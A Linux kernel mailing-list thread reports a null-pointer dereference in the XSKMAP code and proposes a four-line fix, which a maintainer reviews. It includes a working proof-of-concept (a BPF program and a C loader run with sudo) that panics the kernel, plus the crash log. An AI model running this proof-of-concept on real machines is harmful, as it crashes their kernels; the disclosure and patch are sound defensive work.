* [PATCH 0/1] xskmap: reject TX-only AF_XDP sockets
@ 2026-03-29 19:29 Linpu Yu
2026-03-29 19:29 ` [PATCH 1/1] " Linpu Yu
0 siblings, 1 reply; 3+ messages in thread
From: Linpu Yu @ 2026-03-29 19:29 UTC (permalink / raw)
To: magnus.karlsson, maciej.fijalkowski, netdev, bpf
Cc: sdf, davem, edumazet, kuba, pabeni, horms, ast, daniel, hawk,
john.fastabend, bjorn, linux-kernel, yuantan098, yifanwucs
Hi,
We found and validated a low severity security issue in
net/xdp/xskmap.c from v4.18-rc1 to v7.0-rc4. The bug can cause a
KASAN report and panic when an XDP program redirects a packet to an
XSKMAP entry backed by a TX-only AF_XDP socket. We have also
included a minimum reproducer which was tested on v7.0.0-rc4.
We will send a patch as a follow-up in this thread. We've tested
it, and it should not affect any other functionality.
---- details below ----
Bug details:
xsk_map_update_elem() accepts any PF_XDP socket and does not
require an Rx ring. A TX-only AF_XDP socket can therefore be
inserted into an XSKMAP.
When an XDP program redirects a packet through such an entry, the
packet always enters the Rx path. The generic receive path reaches
xsk_generic_rcv(), which assumes xs->rx is valid and dereferences
it. With a TX-only socket, xs->rx is NULL and the kernel reports a
KASAN null-ptr-deref before panicking.
The root cause is that XSKMAP publication validates only the socket
family, but redirect delivery requires an Rx-capable AF_XDP socket.
Required kernel config:
CONFIG_BPF
CONFIG_BPF_SYSCALL
CONFIG_XDP_SOCKETS
CONFIG_VETH
Reproducer:
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -I/usr/include/x86_64-linux-gnu -c -o poc.bpf.o poc.bpf.c
gcc -O2 -g -Wall -Wextra -o poc poc.c -lbpf -lelf -lz
sudo ./poc ./poc.bpf.o
We have validated the PoC on v7.0.0-rc4 and v6.12.74.
---8<--- BEGIN poc.bpf.c ---8<---
// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_XSKMAP);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} xsks SEC(".maps");
SEC("xdp")
int redirect_to_xsk(struct xdp_md *ctx)
{
return bpf_redirect_map(&xsks, 0, XDP_PASS);
}
char _license[] SEC("license") = "GPL";
---8<--- END poc.bpf.c ---8<---
---8<--- BEGIN poc.c ---8<---
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_link.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <bpf/xsk.h>
#define RX_IFACE "vethxdp0"
#define TX_IFACE "vethxdp1"
#define QUEUE_ID 0
#define NUM_DESCS 64
#define FRAME_SIZE XSK_UMEM__DEFAULT_FRAME_SIZE
#define NUM_FRAMES 16
#define UMEM_SIZE ((size_t)FRAME_SIZE * NUM_FRAMES)
static const unsigned char rx_mac[ETH_ALEN] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x01};
static const unsigned char tx_mac[ETH_ALEN] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x02};
static int run_cmd(const char *fmt, ...)
{
char cmd[512];
va_list ap;
int rc;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
rc = system(cmd);
if (rc)
fprintf(stderr, "command failed (%d): %s\n", rc, cmd);
return rc;
}
static int cleanup_links(void)
{
return system("ip link del " RX_IFACE " >/dev/null 2>&1");
}
static int setup_links(void)
{
int rc;
cleanup_links();
rc = run_cmd("ip link add " RX_IFACE " type veth peer name " TX_IFACE);
if (rc)
return -1;
rc = run_cmd("ip link set dev " RX_IFACE " address 02:00:00:00:00:01");
if (rc)
return -1;
rc = run_cmd("ip link set dev " TX_IFACE " address 02:00:00:00:00:02");
if (rc)
return -1;
rc = run_cmd("ip link set dev " RX_IFACE " up");
if (rc)
return -1;
rc = run_cmd("ip link set dev " TX_IFACE " up");
if (rc)
return -1;
return 0;
}
static int send_test_frame(int ifindex)
{
unsigned char frame[64];
struct sockaddr_ll addr;
struct ethhdr *eth = (struct ethhdr *)frame;
int fd, ret;
memset(frame, 0x41, sizeof(frame));
memcpy(eth->h_dest, rx_mac, ETH_ALEN);
memcpy(eth->h_source, tx_mac, ETH_ALEN);
eth->h_proto = htons(ETH_P_IP);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (fd < 0) {
perror("socket(AF_PACKET)");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sll_family = AF_PACKET;
addr.sll_protocol = htons(ETH_P_IP);
addr.sll_ifindex = ifindex;
addr.sll_halen = ETH_ALEN;
memcpy(addr.sll_addr, rx_mac, ETH_ALEN);
ret = sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&addr, sizeof(addr));
if (ret < 0) {
perror("sendto");
close(fd);
return -1;
}
close(fd);
return 0;
}
static int libbpf_print_fn(enum libbpf_print_level level, const char *fmt, va_list args)
{
if (level == LIBBPF_DEBUG)
return 0;
return vfprintf(stderr, fmt, args);
}
int main(int argc, char **argv)
{
struct xsk_ring_prod fill = {}, tx = {};
struct xsk_ring_cons comp = {};
struct xsk_socket_config xsk_cfg = {
.rx_size = NUM_DESCS,
.tx_size = NUM_DESCS,
.libbpf_flags = XSK_LIBBPF_FLAGS__INHIBIT_PROG_LOAD,
.xdp_flags = XDP_FLAGS_SKB_MODE,
.bind_flags = XDP_COPY,
};
struct rlimit rlim = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
struct xsk_umem *umem = NULL;
struct xsk_socket *xsk = NULL;
struct bpf_program *prog;
struct bpf_object *obj = NULL;
struct bpf_map *xsks_map;
const char *bpf_path;
void *umem_area = NULL;
int rx_ifindex = -1, tx_ifindex = -1;
int err = 1;
if (argc > 2) {
fprintf(stderr, "usage: %s [./poc.bpf.o]\n", argv[0]);
return 1;
}
bpf_path = argc == 2 ? argv[1] : "./poc.bpf.o";
libbpf_set_print(libbpf_print_fn);
setrlimit(RLIMIT_MEMLOCK, &rlim);
if (setup_links()) {
fprintf(stderr, "failed to create veth pair\n");
goto out;
}
rx_ifindex = if_nametoindex(RX_IFACE);
tx_ifindex = if_nametoindex(TX_IFACE);
if (!rx_ifindex || !tx_ifindex) {
fprintf(stderr, "if_nametoindex failed\n");
goto out;
}
if (posix_memalign(&umem_area, getpagesize(), UMEM_SIZE)) {
fprintf(stderr, "posix_memalign failed\n");
goto out;
}
memset(umem_area, 0, UMEM_SIZE);
err = xsk_umem__create(&umem, umem_area, UMEM_SIZE, &fill, &comp, NULL);
if (err) {
fprintf(stderr, "xsk_umem__create failed: %d\n", err);
goto out;
}
err = xsk_socket__create(&xsk, RX_IFACE, QUEUE_ID, umem, NULL, &tx, &xsk_cfg);
if (err) {
fprintf(stderr, "xsk_socket__create failed: %d\n", err);
goto out;
}
obj = bpf_object__open_file(bpf_path, NULL);
if (libbpf_get_error(obj)) {
err = (int)libbpf_get_error(obj);
obj = NULL;
fprintf(stderr, "bpf_object__open_file failed: %d\n", err);
goto out;
}
err = bpf_object__load(obj);
if (err) {
fprintf(stderr, "bpf_object__load failed: %d\n", err);
goto out;
}
prog = bpf_object__find_program_by_name(obj, "redirect_to_xsk");
if (!prog) {
fprintf(stderr, "failed to find program\n");
goto out;
}
xsks_map = bpf_object__find_map_by_name(obj, "xsks");
if (!xsks_map) {
fprintf(stderr, "failed to find xsks map\n");
goto out;
}
err = bpf_set_link_xdp_fd(rx_ifindex, bpf_program__fd(prog), XDP_FLAGS_SKB_MODE);
if (err) {
fprintf(stderr, "bpf_set_link_xdp_fd attach failed: %d\n", err);
goto out;
}
err = xsk_socket__update_xskmap(xsk, bpf_map__fd(xsks_map));
if (err) {
fprintf(stderr, "xsk_socket__update_xskmap failed: %d\n", err);
goto out;
}
fprintf(stderr, "sending one frame into %s queue %d\n", RX_IFACE, QUEUE_ID);
fflush(stderr);
if (send_test_frame(tx_ifindex))
goto out;
sleep(2);
fprintf(stderr, "no crash observed\n");
err = 0;
out:
if (rx_ifindex > 0)
bpf_set_link_xdp_fd(rx_ifindex, -1, XDP_FLAGS_SKB_MODE);
if (xsk)
xsk_socket__delete(xsk);
if (umem)
xsk_umem__delete(umem);
free(umem_area);
if (obj)
bpf_object__close(obj);
cleanup_links();
return err;
}
---8<--- END poc.c ---8<---
Crash log:
[ 628.881280][ C0] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 628.882528][ C0] KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
[ 628.883234][ C0] CPU: 0 UID: 0 PID: 10251 Comm: poc Not tainted 6.12.74 #3
[ 628.883828][ C0] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 628.884701][ C0] RIP: 0010:xsk_generic_rcv+0x1c1/0x460
[ 628.885258][ C0] Code: 48 c1 ea 03 80 3c 02 00 0f 85 a0 02 00 00 48 8b 9d 80 05 00 00 48 b8 00 00 00 00 00 fc ff df 48 8d 7b 08 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 09 3c 03 7f 05 e8 5e d6 ee f6 44 8b 73 08 48
[ 628.886884][ C0] RSP: 0018:ffffc90000007738 EFLAGS: 00010212
[ 628.887445][ C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffff88803fe40800
[ 628.888062][ C0] RDX: 0000000000000001 RSI: ffffffff8b08bfc6 RDI: 0000000000000008
[ 628.888699][ C0] RBP: ffff88803fe40800 R08: 0000000000000004 R09: 0000000000000000
[ 628.889359][ C0] R10: 0000000000000000 R11: 0000000000000001 R12: 00000000fffffff4
[ 628.889985][ C0] R13: ffff88803fe40da8 R14: 0000000000000040 R15: ffffc90000007e98
[ 628.890669][ C0] FS: 00007f7fe6b52740(0000) GS:ffff88806a800000(0000) knlGS:0000000000000000
[ 628.891406][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 628.891949][ C0] CR2: 00007f7fe6c9f350 CR3: 0000000031de6000 CR4: 0000000000750ef0
[ 628.892613][ C0] PKRU: 55555554
[ 628.892925][ C0] Call Trace:
[ 628.893226][ C0] <IRQ>
[ 628.945597][ C0] Modules linked in:
[ 628.946047][ C0] ---[ end trace 0000000000000000 ]---
[ 628.946512][ C0] RIP: 0010:xsk_generic_rcv+0x1c1/0x460
[ 628.954560][ C0] Kernel panic - not syncing: Fatal exception in interrupt
[ 628.955982][ C0] Kernel Offset: disabled
Best regards
Linpu Yu
Linpu Yu (1):
xskmap: reject TX-only AF_XDP sockets
net/xdp/xskmap.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.53.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH 1/1] xskmap: reject TX-only AF_XDP sockets
2026-03-29 19:29 [PATCH 0/1] xskmap: reject TX-only AF_XDP sockets Linpu Yu
@ 2026-03-29 19:29 ` Linpu Yu
2026-03-30 2:22 ` Jason Xing
0 siblings, 1 reply; 3+ messages in thread
From: Linpu Yu @ 2026-03-29 19:29 UTC (permalink / raw)
To: magnus.karlsson, maciej.fijalkowski, netdev, bpf
Cc: sdf, davem, edumazet, kuba, pabeni, horms, ast, daniel, hawk,
john.fastabend, bjorn, linux-kernel, yuantan098, yifanwucs
Reject TX-only AF_XDP sockets from XSKMAP updates. Redirected
packets always enter the Rx path, where the kernel expects the
selected socket to have an Rx ring. A TX-only socket can
currently be inserted into an XSKMAP, and redirecting a packet
to it crashes the kernel in xsk_generic_rcv().
Keep TX-only AF_XDP sockets valid for pure Tx use, but prevent
them from being published through XSKMAP.
Fixes: fbfc504a24f5 ("bpf: introduce new bpf AF_XDP map type BPF_MAP_TYPE_XSKMAP")
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Yuan Tan <yuantan098@gmail.com>
Signed-off-by: Xin Liu <bird@lzu.edu.cn>
Signed-off-by: Yifan Wu <yifanwucs@gmail.com>
Signed-off-by: Linpu Yu <linpu5433@gmail.com>
---
net/xdp/xskmap.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/xdp/xskmap.c b/net/xdp/xskmap.c
index afa457506274c..6dac59ebb5cf0 100644
--- a/net/xdp/xskmap.c
+++ b/net/xdp/xskmap.c
@@ -184,6 +184,10 @@ static long xsk_map_update_elem(struct bpf_map *map, void *key, void *value,
}
xs = (struct xdp_sock *)sock->sk;
+ if (!READ_ONCE(xs->rx)) {
+ sockfd_put(sock);
+ return -EINVAL;
+ }
map_entry = &m->xsk_map[i];
node = xsk_map_node_alloc(m, map_entry);
--
2.53.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH 1/1] xskmap: reject TX-only AF_XDP sockets
2026-03-29 19:29 ` [PATCH 1/1] " Linpu Yu
@ 2026-03-30 2:22 ` Jason Xing
0 siblings, 0 replies; 3+ messages in thread
From: Jason Xing @ 2026-03-30 2:22 UTC (permalink / raw)
To: Linpu Yu
Cc: magnus.karlsson, maciej.fijalkowski, netdev, bpf, sdf, davem,
edumazet, kuba, pabeni, horms, ast, daniel, hawk, john.fastabend,
bjorn, linux-kernel, yuantan098, yifanwucs
On Mon, Mar 30, 2026 at 3:33 AM Linpu Yu <linpu5433@gmail.com> wrote:
>
> Reject TX-only AF_XDP sockets from XSKMAP updates. Redirected
> packets always enter the Rx path, where the kernel expects the
> selected socket to have an Rx ring. A TX-only socket can
> currently be inserted into an XSKMAP, and redirecting a packet
> to it crashes the kernel in xsk_generic_rcv().
>
> Keep TX-only AF_XDP sockets valid for pure Tx use, but prevent
> them from being published through XSKMAP.
>
> Fixes: fbfc504a24f5 ("bpf: introduce new bpf AF_XDP map type BPF_MAP_TYPE_XSKMAP")
> Reported-by: Juefei Pu <tomapufckgml@gmail.com>
> Reported-by: Yuan Tan <yuantan098@gmail.com>
> Signed-off-by: Xin Liu <bird@lzu.edu.cn>
> Signed-off-by: Yifan Wu <yifanwucs@gmail.com>
> Signed-off-by: Linpu Yu <linpu5433@gmail.com>
Thanks for the exhaustive report and fix!
Please use [patch net-next] or [patch bpf-next] as the targeted tree
for maintainers to easily understand which tree to apply.
> ---
> net/xdp/xskmap.c | 4 ++++
> 1 file changed, 4 insertions(+)
>
> diff --git a/net/xdp/xskmap.c b/net/xdp/xskmap.c
> index afa457506274c..6dac59ebb5cf0 100644
> --- a/net/xdp/xskmap.c
> +++ b/net/xdp/xskmap.c
> @@ -184,6 +184,10 @@ static long xsk_map_update_elem(struct bpf_map *map, void *key, void *value,
> }
>
> xs = (struct xdp_sock *)sock->sk;
> + if (!READ_ONCE(xs->rx)) {
> + sockfd_put(sock);
> + return -EINVAL;
Can we use -ENOBUFS as well, like how xsk_recvmsg checks the rx ring?
Otherwise, it looks good to me.
Thanks,
Jason
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-03-30 2:23 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-03-29 19:29 [PATCH 0/1] xskmap: reject TX-only AF_XDP sockets Linpu Yu
2026-03-29 19:29 ` [PATCH 1/1] " Linpu Yu
2026-03-30 2:22 ` Jason Xing
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox